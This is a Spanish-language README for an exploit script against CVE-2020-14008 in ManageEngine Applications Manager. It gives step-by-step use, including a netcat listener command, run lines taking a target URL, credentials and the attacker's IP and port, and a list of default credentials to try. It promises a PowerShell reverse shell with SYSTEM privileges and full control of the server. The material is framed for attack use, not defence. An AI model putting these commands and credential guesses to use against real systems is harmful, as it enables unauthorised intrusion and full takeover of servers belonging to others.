Exploit CVE-2020-14008 para ManageEngine

¿Qué es esto?

Este script explota la CVE-2020-14008 en ManageEngine Applications Manager para obtener una reverse shell con privilegios SYSTEM.

Requisitos

pip3 install requests urllib3

Cómo usarlo

1. Inicia un listener

nc -nlvp 9001

2. Ejecuta el exploit

python3 cve-2020-14008-exploit.py <target_url> <username> <password> <your_ip> <your_port>

Ejemplos

# Direct attack
python3 cve-2020-14008-exploit.py https://192.168.1.100:8443 admin admin 192.168.1.50 9001

# Through port forwarding
python3 cve-2020-14008-exploit.py https://localhost:8443 admin admin 127.0.0.1 9001

Credenciales comunes para probar

• admin:admin
• administrator:administrator
• guest:guest

Lo que obtienes

• Reverse shell de PowerShell
• Privilegios SYSTEM en el objetivo
• Control total del servidor ManageEngine